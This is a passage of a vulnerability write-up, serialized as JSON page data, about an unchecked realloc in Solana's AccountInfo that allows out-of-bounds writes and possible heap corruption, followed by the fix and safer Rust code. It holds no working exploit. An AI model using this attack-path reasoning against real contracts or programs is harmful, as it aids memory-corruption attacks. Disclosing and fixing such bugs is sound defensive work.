attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":21,"tag":5302,"props":19745,"children":19746},{},[19747],{"type":26,"value":19748},"arbitrary",{"type":26,"value":19750}," memory access through a mistakenly-",{"type":21,"tag":78,"props":19752,"children":19754},{"className":19753},[],[19755],{"type":26,"value":16355},{"type":26,"value":19757},"'d account, this falls in the relm of some ",{"type":21,"tag":29,"props":19759,"children":19762},{"href":19760,"rel":19761},"https://en.wikipedia.org/wiki/Buffer_overflow",[33],[19763],{"type":26,"value":19764},"old-school pwning",{"type":26,"value":19766}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":21,"tag":114,"props":19768,"children":19770},{"id":19769},"not-contracts",[19771],{"type":26,"value":19772},"Not-contracts?",{"type":21,"tag":22,"props":19774,"children":19775},{},[19776,19778,19783,19785,19795,19797,19809,19811,19818,19820,19825,19827,19832,19834,19847,19849,19854,19856,19861],{"type":26,"value":19777},"Remember when we said that all this code makes sense ",{"type":21,"tag":5302,"props":19779,"children":19780},{},[19781],{"type":26,"value":19782},"if the data points to the BPF loader's serialized buffer",{"type":26,"value":19784},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":21,"tag":29,"props":19786,"children":19789},{"href":19787,"rel":19788},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[33],[19790],{"type":21,"tag":78,"props":19791,"children":19793},{"className":19792},[],[19794],{"type":26,"value":2907},{"type":26,"value":19796}," are public, and so is its ",{"type":21,"tag":29,"props":19798,"children":19801},{"href":19799,"rel":19800},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[33],[19802,19807],{"type":21,"tag":78,"props":19803,"children":19805},{"className":19804},[],[19806],{"type":26,"value":1804},{"type":26,"value":19808}," method",{"type":26,"value":19810}," (which is ",{"type":21,"tag":29,"props":19812,"children":19815},{"href":19813,"rel":19814},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[33],[19816],{"type":26,"value":19817},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":26,"value":19819},"). The ",{"type":21,"tag":78,"props":19821,"children":19823},{"className":19822},[],[19824],{"type":26,"value":16355},{"type":26,"value":19826}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":21,"tag":78,"props":19828,"children":19830},{"className":19829},[],[19831],{"type":26,"value":2907},{"type":26,"value":19833}," ourselves - potentially through the ",{"type":21,"tag":29,"props":19835,"children":19838},{"href":19836,"rel":19837},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[33],[19839,19845],{"type":21,"tag":78,"props":19840,"children":19842},{"className":19841},[],[19843],{"type":26,"value":19844},"Account",{"type":26,"value":19846}," trait",{"type":26,"value":19848},", which is hardly documented at all and makes ",{"type":21,"tag":5302,"props":19850,"children":19851},{},[19852],{"type":26,"value":19853},"no",{"type":26,"value":19855}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":21,"tag":78,"props":19857,"children":19859},{"className":19858},[],[19860],{"type":26,"value":195},{"type":26,"value":19862}," buffer.",{"type":21,"tag":22,"props":19864,"children":19865},{},[19866,19868,19879,19881,19887,19889,19895,19897,19910,19912,19917,19919,19924,19925,19930,19932,19937,19939,19944,19946,19951],{"type":26,"value":19867},"One long arm of this is ",{"type":21,"tag":29,"props":19869,"children":19872},{"href":19870,"rel":19871},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[33],[19873],{"type":21,"tag":78,"props":19874,"children":19876},{"className":19875},[],[19877],{"type":26,"value":19878},"solana_sdk::account::Account",{"type":26,"value":19880}," - in the client SDK. It holds an account's data in a ",{"type":21,"tag":78,"props":19882,"children":19884},{"className":19883},[],[19885],{"type":26,"value":19886},"Vec\u003Cu8>",{"type":26,"value":19888},", and it implements ",{"type":21,"tag":78,"props":19890,"children":19892},{"className":19891},[],[19893],{"type":26,"value":19894},"solana_program::account_info::Account",{"type":26,"value":19896}," (the trait from earlier) - by ",{"type":21,"tag":29,"props":19898,"children":19901},{"href":19899,"rel":19900},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[33],[19902,19904],{"type":26,"value":19903},"returning a reference to the contents of that ",{"type":21,"tag":78,"props":19905,"children":19907},{"className":19906},[],[19908],{"type":26,"value":19909},"Vec",{"type":26,"value":19911},". So, ",{"type":21,"tag":78,"props":19913,"children":19915},{"className":19914},[],[19916],{"type":26,"value":16355},{"type":26,"value":19918}," writes the size into the 8 bytes right before ",{"type":21,"tag":78,"props":19920,"children":19922},{"className":19921},[],[19923],{"type":26,"value":195},{"type":26,"value":297},{"type":21,"tag":78,"props":19926,"children":19928},{"className":19927},[],[19929],{"type":26,"value":195},{"type":26,"value":19931}," is the buffer of a ",{"type":21,"tag":78,"props":19933,"children":19935},{"className":19934},[],[19936],{"type":26,"value":19909},{"type":26,"value":19938},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":21,"tag":78,"props":19940,"children":19942},{"className":19941},[],[19943],{"type":26,"value":2907},{"type":26,"value":19945}," out of an SDK ",{"type":21,"tag":78,"props":19947,"children":19949},{"className":19948},[],[19950],{"type":26,"value":19844},{"type":26,"value":19952}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":21,"tag":66,"props":19954,"children":19956},{"id":19955},"remediation",[19957],{"type":26,"value":19958},"Remediation",{"type":21,"tag":22,"props":19960,"children":19961},{},[19962],{"type":26,"value":19963},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":21,"tag":22,"props":19965,"children":19966},{},[19967,19969,19974,19976,19981,19983,19993,19995,20000,20002,20009],{"type":26,"value":19968},"The sensible thing to do would be to store the initial size in the ",{"type":21,"tag":78,"props":19970,"children":19972},{"className":19971},[],[19973],{"type":26,"value":2907},{"type":26,"value":19975},"... except for the fact that the layout of ",{"type":21,"tag":78,"props":19977,"children":19979},{"className":19978},[],[19980],{"type":26,"value":2907},{"type":26,"value":19982}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":21,"tag":18171,"props":19984,"children":19985},{},[19986],{"type":21,"tag":29,"props":19987,"children":19991},{"href":19988,"ariaDescribedBy":19989,"dataFootnoteRef":7,"id":19990},"#user-content-fn-layout",[18178],"user-content-fnref-layout",[19992],{"type":26,"value":4303},{"type":26,"value":19994}," So, with changing ",{"type":21,"tag":78,"props":19996,"children":19998},{"className":19997},[],[19999],{"type":26,"value":2907},{"type":26,"value":20001}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":21,"tag":29,"props":20003,"children":20006},{"href":20004,"rel":20005},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[33],[20007],{"type":26,"value":20008},"this function",{"type":26,"value":201},{"type":21,"tag":143,"props":20011,"children":20013},{"className":145,"code":20012,"language":147,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[20014],{"type":21,"tag":78,"props":20015,"children":20016},{"__ignoreMap":7},[20017,20025,20033,20041,20049,20056,20064,20072,20120,20185,20250,20271],{"type":21,"tag":153,"props":20018,"children":20019},{"class":155,"line":156},[20020],{"type":21,"tag":153,"props":20021,"children":20022},{"style":3050},[20023],{"type":26,"value":20024},"/// Return the account's original data length when it was serialized for the\n",{"type":21,"tag":153,"props":20026,"children":20027},{"class":155,"line":166},[20028],{"type":21,"tag":153,"props":20029,"children":20030},{"style":3050},[20031],{"type":26,"value":20032},"/// current program invocation.\n",{"type":21,"tag":153,"props":20034,"children":20035},{"class":155,"line":225},[20036],{"type":21,"tag":153,"props":20037,"children":20038},{"style":3050},[20039],{"type":26,"value":20040},"///\n",{"type":21,"tag":153,"props":20042,"children":20043},{"class":155,"line":239},[20044],{"type":21,"tag":153,"props":20045,"children":20046},{"style":3050},[20047],{"type":26,"value":20048},"/// # Safety\n",{"type":21,"tag":153,"props":20050,"children":20051},{"class":155,"line":382},[20052],{"type":21,"tag":153,"props":20053,"children":20054},{"style":3050},[20055],{"type":26,"value":20040},{"type":21,"tag":153,"props":20057,"children":20058},{"class":155,"line":501},[20059],{"type":21,"tag":153,"props":20060,"children":20061},{"style":3050},[20062],{"type":26,"value":20063},"/// This method assumes that the original data length was serialized as a u32\n",{"type":21,"tag":153,"props":20065,"children":20066},{"class":155,"line":533},[20067],{"type":21,"tag":153,"props":20068,"children":20069},{"style":3050},[20070],{"type":26,"value":20071},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":21,"tag":153,"props":20073,"children":20074},{"class":155,"line":542},[20075,20079,20083,20087,20092,20096,20100,20104,20108,20112,20116],{"type":21,"tag":153,"props":20076,"children":20077},{"style":170},[20078],{"type":26,"value":173},{"type":21,"tag":153,"props":20080,"children":20081},{"style":170},[20082],{"type":26,"value":17295},{"type":21,"tag":153,"props":20084,"children":20085},{"style":170},[20086],{"type":26,"value":178},{"type":21,"tag":153,"props":20088,"children":20089},{"style":181},[20090],{"type":26,"value":20091}," original_data_len",{"type":21,"tag":153,"props":20093,"children":20094},{"style":160},[20095],{"type":26,"value":189},{"type":21,"tag":153,"props":20097,"children":20098},{"style":198},[20099],{"type":26,"value":1974},{"type":21,"tag":153,"props":20101,"children":20102},{"style":170},[20103],{"type":26,"value":16427},{"type":21,"tag":153,"props":20105,"children":20106},{"style":160},[20107],{"type":26,"value":2362},{"type":21,"tag":153,"props":20109,"children":20110},{"style":198},[20111],{"type":26,"value":2953},{"type":21,"tag":153,"props":20113,"children":20114},{"style":214},[20115],{"type":26,"value":16445},{"type":21,"tag":153,"props":20117,"children":20118},{"style":160},[20119],{"type":26,"value":236},{"type":21,"tag":153,"props":20121,"children":20122},{"class":155,"line":762},[20123,20127,20132,20136,20140,20144,20149,20153,20157,20161,20165,20169,20173,20177,20181],{"type":21,"tag":153,"props":20124,"children":20125},{"style":170},[20126],{"type":26,"value":629},{"type":21,"tag":153,"props":20128,"children":20129},{"style":192},[20130],{"type":26,"value":20131}," key_ptr",{"type":21,"tag":153,"props":20133,"children":20134},{"style":198},[20135],{"type":26,"value":255},{"type":21,"tag":153,"props":20137,"children":20138},{"style":170},[20139],{"type":26,"value":16510},{"type":21,"tag":153,"props":20141,"children":20142},{"style":198},[20143],{"type":26,"value":355},{"type":21,"tag":153,"props":20145,"children":20146},{"style":160},[20147],{"type":26,"value":20148},"key ",{"type":21,"tag":153,"props":20150,"children":20151},{"style":170},[20152],{"type":26,"value":11567},{"type":21,"tag":153,"props":20154,"children":20155},{"style":198},[20156],{"type":26,"value":5080},{"type":21,"tag":153,"props":20158,"children":20159},{"style":170},[20160],{"type":26,"value":5085},{"type":21,"tag":153,"props":20162,"children":20163},{"style":192},[20164],{"type":26,"value":5789},{"type":21,"tag":153,"props":20166,"children":20167},{"style":170},[20168],{"type":26,"value":11553},{"type":21,"tag":153,"props":20170,"children":20171},{"style":198},[20172],{"type":26,"value":5080},{"type":21,"tag":153,"props":20174,"children":20175},{"style":170},[20176],{"type":26,"value":5085},{"type":21,"tag":153,"props":20178,"children":20179},{"style":214},[20180],{"type":26,"value":5090},{"type":21,"tag":153,"props":20182,"children":20183},{"style":160},[20184],{"type":26,"value":1759},{"type":21,"tag":153,"props":20186,"children":20187},{"class":155,"line":776},[20188,20192,20197,20201,20205,20209,20213,20217,20221,20225,20229,20233,20237,20241,20246],{"type":21,"tag":153,"props":20189,"children":20190},{"style":170},[20191],{"type":26,"value":629},{"type":21,"tag":153,"props":20193,"children":20194},{"style":192},[20195],{"type":26,"value":20196}," original_data_len_ptr",{"type":21,"tag":153,"props":20198,"children":20199},{"style":198},[20200],{"type":26,"value":255},{"type":21,"tag":153,"props":20202,"children":20203},{"style":192},[20204],{"type":26,"value":20131},{"type":21,"tag":153,"props":20206,"children":20207},{"style":198},[20208],{"type":26,"value":355},{"type":21,"tag":153,"props":20210,"children":20211},{"style":181},[20212],{"type":26,"value":16610},{"type":21,"tag":153,"props":20214,"children":20215},{"style":160},[20216],{"type":26,"value":189},{"type":21,"tag":153,"props":20218,"children":20219},{"style":198},[20220],{"type":26,"value":3873},{"type":21,"tag":153,"props":20222,"children":20223},{"style":300},[20224],{"type":26,"value":4104},{"type":21,"tag":153,"props":20226,"children":20227},{"style":160},[20228],{"type":26,"value":2362},{"type":21,"tag":153,"props":20230,"children":20231},{"style":170},[20232],{"type":26,"value":11567},{"type":21,"tag":153,"props":20234,"children":20235},{"style":198},[20236],{"type":26,"value":5080},{"type":21,"tag":153,"props":20238,"children":20239},{"style":170},[20240],{"type":26,"value":5085},{"type":21,"tag":153,"props":20242,"children":20243},{"style":214},[20244],{"type":26,"value":20245}," u32",{"type":21,"tag":153,"props":20247,"children":20248},{"style":160},[20249],{"type":26,"value":1759},{"type":21,"tag":153,"props":20251,"children":20252},{"class":155,"line":795},[20253,20258,20263,20267],{"type":21,"tag":153,"props":20254,"children":20255},{"style":198},[20256],{"type":26,"value":20257},"    *",{"type":21,"tag":153,"props":20259,"children":20260},{"style":192},[20261],{"type":26,"value":20262},"original_data_len_ptr",{"type":21,"tag":153,"props":20264,"children":20265},{"style":170},[20266],{"type":26,"value":11553},{"type":21,"tag":153,"props":20268,"children":20269},{"style":214},[20270],{"type":26,"value":19672},{"type":21,"tag":153,"props":20272,"children":20273},{"class":155,"line":808},[20274],{"type":21,"tag":153,"props":20275,"children":20276},{"style":160},[20277],{"type":26,"value":548},{"type":21,"tag":22,"props":20279,"children":20280},{},[20281,20283,20288,20290,20295,20297,20302,20304,20309,20311,20318,20320,20327,20328,20335,20336,20343,20344,20351],{"type":26,"value":20282},"It's marked ",{"type":21,"tag":78,"props":20284,"children":20286},{"className":20285},[],[20287],{"type":26,"value":17061},{"type":26,"value":20289},", properly documented, but there's just one problem: we need this for ",{"type":21,"tag":78,"props":20291,"children":20293},{"className":20292},[],[20294],{"type":26,"value":16355},{"type":26,"value":20296},", which originally was not ",{"type":21,"tag":78,"props":20298,"children":20300},{"className":20299},[],[20301],{"type":26,"value":17061},{"type":26,"value":20303},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":21,"tag":78,"props":20305,"children":20307},{"className":20306},[],[20308],{"type":26,"value":17061},{"type":26,"value":20310}," block and added ",{"type":21,"tag":29,"props":20312,"children":20315},{"href":20313,"rel":20314},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[33],[20316],{"type":26,"value":20317},"a doc comment",{"type":26,"value":20319}," - adding to the ",{"type":21,"tag":29,"props":20321,"children":20324},{"href":20322,"rel":20323},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[33],[20325],{"type":26,"value":20326},"small",{"type":26,"value":9187},{"type":21,"tag":29,"props":20329,"children":20332},{"href":20330,"rel":20331},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[33],[20333],{"type":26,"value":20334},"pile",{"type":26,"value":9187},{"type":21,"tag":29,"props":20337,"children":20340},{"href":20338,"rel":20339},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[33],[20341],{"type":26,"value":20342},"of",{"type":26,"value":9187},{"type":21,"tag":29,"props":20345,"children":20348},{"href":20346,"rel":20347},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[33],[20349],{"type":26,"value":20350},"functions",{"type":26,"value":20352}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":21,"tag":66,"props":20354,"children":20356},{"id":20355},"towards-safer-unsafe",[20357,20359],{"type":26,"value":20358},"Towards safer ",{"type":21,"tag":78,"props":20360,"children":20362},{"className":20361},[],[20363],{"type":26,"value":17061},{"type":21,"tag":22,"props":20365,"children":20366},{},[20367,20369,20374,20376,20381,20383,20390],{"type":26,"value":20368},"Let's circle back to that main ",{"type":21,"tag":78,"props":20370,"children":20372},{"className":20371},[],[20373],{"type":26,"value":17061},{"type":26,"value":20375}," block inside ",{"type":21,"tag":78,"props":20377,"children":20379},{"className":20378},[],[20380],{"type":26,"value":16355},{"type":26,"value":20382}," for a bit, shall we? As a reminder, it looks like ",{"type":21,"tag":29,"props":20384,"children":20387},{"href":20385,"rel":20386},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[33],[20388],{"type":26,"value":20389},"this",{"type":26,"value":201},{"type":21,"tag":143,"props":20392,"children":20394},{"className":145,"code":20393,"language":147,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[20395],{"type":21,"tag":78,"props":20396,"children":20397},{"__ignoreMap":7},[20398,20406,20417,20425,20512,20543,20550,20558,20685,20716],{"type":21,"tag":153,"props":20399,"children":20400},{"class":155,"line":156},[20401],{"type":21,"tag":153,"props":20402,"children":20403},{"style":3050},[20404],{"type":26,"value":20405},"// realloc\n",{"type":21,"tag":153,"props":20407,"children":20408},{"class":155,"line":166},[20409,20413],{"type":21,"tag":153,"props":20410,"children":20411},{"style":170},[20412],{"type":26,"value":17061},{"type":21,"tag":153,"props":20414,"children":20415},{"style":160},[20416],{"type":26,"value":236},{"type":21,"tag":153,"props":20418,"children":20419},{"class":155,"line":225},[20420],{"type":21,"tag":153,"props":20421,"children":20422},{"style":3050},[20423],{"type":26,"value":20424},"    // First set new length in the serialized data\n",{"type":21,"tag":153,"props":20426,"children":20427},{"class":155,"line":239},[20428,20432,20436,20440,20444,20448,20452,20456,20460,20464,20468,20472,20476,20480,20484,20488,20492,20496,20500,20504,20508],{"type":21,"tag":153,"props":20429,"children":20430},{"style":170},[20431],{"type":26,"value":629},{"type":21,"tag":153,"props":20433,"children":20434},{"style":192},[20435],{"type":26,"value":250},{"type":21,"tag":153,"props":20437,"children":20438},{"style":198},[20439],{"type":26,"value":255},{"type":21,"tag":153,"props":20441,"children":20442},{"style":170},[20443],{"type":26,"value":16510},{"type":21,"tag":153,"props":20445,"children":20446},{"style":198},[20447],{"type":26,"value":355},{"type":21,"tag":153,"props":20449,"children":20450},{"style":181},[20451],{"type":26,"value":3541},{"type":21,"tag":153,"props":20453,"children":20454},{"style":160},[20455],{"type":26,"value":365},{"type":21,"tag":153,"props":20457,"children":20458},{"style":198},[20459],{"type":26,"value":5882},{"type":21,"tag":153,"props":20461,"children":20462},{"style":181},[20463],{"type":26,"value":16597},{"type":21,"tag":153,"props":20465,"children":20466},{"style":160},[20467],{"type":26,"value":365},{"type":21,"tag":153,"props":20469,"children":20470},{"style":198},[20471],{"type":26,"value":355},{"type":21,"tag":153,"props":20473,"children":20474},{"style":181},[20475],{"type":26,"value":16610},{"type":21,"tag":153,"props":20477,"children":20478},{"style":160},[20479],{"type":26,"value":189},{"type":21,"tag":153,"props":20481,"children":20482},{"style":198},[20483],{"type":26,"value":3873},{"type":21,"tag":153,"props":20485,"children":20486},{"style":300},[20487],{"type":26,"value":303},{"type":21,"tag":153,"props":20489,"children":20490},{"style":160},[20491],{"type":26,"value":2362},{"type":21,"tag":153,"props":20493,"children":20494},{"style":170},[20495],{"type":26,"value":11567},{"type":21,"tag":153,"props":20497,"children":20498},{"style":198},[20499],{"type":26,"value":5080},{"type":21,"tag":153,"props":20501,"children":20502},{"style":170},[20503],{"type":26,"value":318},{"type":21,"tag":153,"props":20505,"children":20506},{"style":214},[20507],{"type":26,"value":323},{"type":21,"tag":153,"props":20509,"children":20510},{"style":160},[20511],{"type":26,"value":1759},{"type":21,"tag":153,"props":20513,"children":20514},{"class":155,"line":382},[20515,20519,20523,20527,20531,20535,20539],{"type":21,"tag":153,"props":20516,"children":20517},{"style":198},[20518],{"type":26,"value":20257},{"type":21,"tag":153,"props":20520,"children":20521},{"style":192},[20522],{"type":26,"value":16658},{"type":21,"tag":153,"props":20524,"children":20525},{"style":198},[20526],{"type":26,"value":255},{"type":21,"tag":153,"props":20528,"children":20529},{"style":192},[20530],{"type":26,"value":16667},{"type":21,"tag":153,"props":20532,"children":20533},{"style":170},[20534],{"type":26,"value":11553},{"type":21,"tag":153,"props":20536,"children":20537},{"style":214},[20538],{"type":26,"value":323},{"type":21,"tag":153,"props":20540,"children":20541},{"style":160},[20542],{"type":26,"value":1759},{"type":21,"tag":153,"props":20544,"children":20545},{"class":155,"line":501},[20546],{"type":21,"tag":153,"props":20547,"children":20548},{"emptyLinePlaceholder":16},[20549],{"type":26,"value":759},{"type":21,"tag":153,"props":20551,"children":20552},{"class":155,"line":533},[20553],{"type":21,"tag":153,"props":20554,"children":20555},{"style":3050},[20556],{"type":26,"value":20557},"    // Then set the new length in the local slice\n",{"type":21,"tag":153,"props":20559,"children":20560},{"class":155,"line":542},[20561,20565,20569,20573,20577,20581,20585,20589,20593,20597,20601,20605,20609,20613,20617,20621,20625,20629,20633,20637,20641,20645,20649,20653,20657,20661,20665,20669,20673,20677,20681],{"type":21,"tag":153,"props":20562,"children":20563},{"style":170},[20564],{"type":26,"value":629},{"type":21,"tag":153,"props":20566,"children":20567},{"style":192},[20568],{"type":26,"value":250},{"type":21,"tag":153,"props":20570,"children":20571},{"style":198},[20572],{"type":26,"value":255},{"type":21,"tag":153,"props":20574,"children":20575},{"style":198},[20576],{"type":26,"value":206},{"type":21,"tag":153,"props":20578,"children":20579},{"style":170},[20580],{"type":26,"value":318},{"type":21,"tag":153,"props":20582,"children":20583},{"style":198},[20584],{"type":26,"value":5080},{"type":21,"tag":153,"props":20586,"children":20587},{"style":160},[20588],{"type":26,"value":16726},{"type":21,"tag":153,"props":20590,"children":20591},{"style":170},[20592],{"type":26,"value":16427},{"type":21,"tag":153,"props":20594,"children":20595},{"style":198},[20596],{"type":26,"value":355},{"type":21,"tag":153,"props":20598,"children":20599},{"style":160},[20600],{"type":26,"value":195},{"type":21,"tag":153,"props":20602,"children":20603},{"style":198},[20604],{"type":26,"value":355},{"type":21,"tag":153,"props":20606,"children":20607},{"style":181},[20608],{"type":26,"value":16747},{"type":21,"tag":153,"props":20610,"children":20611},{"style":160},[20612],{"type":26,"value":2461},{"type":21,"tag":153,"props":20614,"children":20615},{"style":170},[20616],{"type":26,"value":11567},{"type":21,"tag":153,"props":20618,"children":20619},{"style":198},[20620],{"type":26,"value":5080},{"type":21,"tag":153,"props":20622,"children":20623},{"style":170},[20624],{"type":26,"value":5085},{"type":21,"tag":153,"props":20626,"children":20627},{"style":214},[20628],{"type":26,"value":323},{"type":21,"tag":153,"props":20630,"children":20631},{"style":160},[20632],{"type":26,"value":2071},{"type":21,"tag":153,"props":20634,"children":20635},{"style":198},[20636],{"type":26,"value":355},{"type":21,"tag":153,"props":20638,"children":20639},{"style":181},[20640],{"type":26,"value":16610},{"type":21,"tag":153,"props":20642,"children":20643},{"style":160},[20644],{"type":26,"value":189},{"type":21,"tag":153,"props":20646,"children":20647},{"style":300},[20648],{"type":26,"value":3033},{"type":21,"tag":153,"props":20650,"children":20651},{"style":160},[20652],{"type":26,"value":2362},{"type":21,"tag":153,"props":20654,"children":20655},{"style":170},[20656],{"type":26,"value":11567},{"type":21,"tag":153,"props":20658,"children":20659},{"style":214},[20660],{"type":26,"value":323},{"type":21,"tag":153,"props":20662,"children":20663},{"style":160},[20664],{"type":26,"value":2362},{"type":21,"tag":153,"props":20666,"children":20667},{"style":170},[20668],{"type":26,"value":11567},{"type":21,"tag":153,"props":20670,"children":20671},{"style":198},[20672],{"type":26,"value":5080},{"type":21,"tag":153,"props":20674,"children":20675},{"style":170},[20676],{"type":26,"value":318},{"type":21,"tag":153,"props":20678,"children":20679},{"style":214},[20680],{"type":26,"value":323},{"type":21,"tag":153,"props":20682,"children":20683},{"style":160},[20684],{"type":26,"value":530},{"type":21,"tag":153,"props":20686,"children":20687},{"class":155,"line":762},[20688,20692,20696,20700,20704,20708,20712],{"type":21,"tag":153,"props":20689,"children":20690},{"style":198},[20691],{"type":26,"value":20257},{"type":21,"tag":153,"props":20693,"children":20694},{"style":192},[20695],{"type":26,"value":16658},{"type":21,"tag":153,"props":20697,"children":20698},{"style":198},[20699],{"type":26,"value":255},{"type":21,"tag":153,"props":20701,"children":20702},{"style":192},[20703],{"type":26,"value":16667},{"type":21,"tag":153,"props":20705,"children":20706},{"style":170},[20707],{"type":26,"value":11553},{"type":21,"tag":153,"props":20709,"children":20710},{"style":214},[20711],{"type":26,"value":323},{"type":21,"tag":153,"props":20713,"children":20714},{"style":160},[20715],{"type":26,"value":1759},{"type":21,"tag":153,"props":20717,"children":20718},{"class":155,"line":776},[20719],{"type":21,"tag":153,"props":20720,"children":20721},{"style":160},[20722],{"type":26,"value":548},{"type":21,"tag":22,"props":20724,"children":20725},{},[20726,20728,20733],{"type":26,"value":20727},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":21,"tag":78,"props":20729,"children":20731},{"className":20730},[],[20732],{"type":26,"value":18201},{"type":26,"value":20734}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":21,"tag":22,"props":20736,"children":20737},{},[20738,20740,20745,20747,20752,20754,20759,20761,20766,20768,20773,20775,20781,20783,20793,20795,20806],{"type":26,"value":20739},"First, let's deal with the ",{"type":21,"tag":78,"props":20741,"children":20743},{"className":20742},[],[20744],{"type":26,"value":18201},{"type":26,"value":20746}," borrowing issue. When we ",{"type":21,"tag":78,"props":20748,"children":20750},{"className":20749},[],[20751],{"type":26,"value":3541},{"type":26,"value":20753},", we get a ",{"type":21,"tag":78,"props":20755,"children":20757},{"className":20756},[],[20758],{"type":26,"value":19439},{"type":26,"value":20760}," back, which represents our borrow of the ",{"type":21,"tag":78,"props":20762,"children":20764},{"className":20763},[],[20765],{"type":26,"value":18201},{"type":26,"value":20767},"'s data. The fix here is simple: keep that ",{"type":21,"tag":78,"props":20769,"children":20771},{"className":20770},[],[20772],{"type":26,"value":19439},{"type":26,"value":20774}," around and use it to access the data, instead of using ",{"type":21,"tag":78,"props":20776,"children":20778},{"className":20777},[],[20779],{"type":26,"value":20780},"RefCell::as_ptr",{"type":26,"value":20782},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":21,"tag":18171,"props":20784,"children":20785},{},[20786],{"type":21,"tag":29,"props":20787,"children":20791},{"href":20788,"ariaDescribedBy":20789,"dataFootnoteRef":7,"id":20790},"#user-content-fn-rustc-llvm",[18178],"user-content-fnref-rustc-llvm",[20792],{"type":26,"value":4104},{"type":26,"value":20794}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":21,"tag":18171,"props":20796,"children":20797},{},[20798],{"type":21,"tag":29,"props":20799,"children":20803},{"href":20800,"ariaDescribedBy":20801,"dataFootnoteRef":7,"id":20802},"#user-content-fn-godbolt",[18178],"user-content-fnref-godbolt",[20804],{"type":26,"value":20805},"5",{"type":26,"value":20807},". So then we get:",{"type":21,"tag":143,"props":20809,"children":20811},{"className":145,"code":20810,"language":147,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[20812],{"type":21,"tag":78,"props":20813,"children":20814},{"__ignoreMap":7},[20815,20859,20866,20873,20957,20997,21004,21011],{"type":21,"tag":153,"props":20816,"children":20817},{"class":155,"line":156},[20818,20822,20826,20831,20835,20839,20843,20847,20851,20855],{"type":21,"tag":153,"props":20819,"children":20820},{"style":170},[20821],{"type":26,"value":1555},{"type":21,"tag":153,"props":20823,"children":20824},{"style":170},[20825],{"type":26,"value":1560},{"type":21,"tag":153,"props":20827,"children":20828},{"style":192},[20829],{"type":26,"value":20830}," 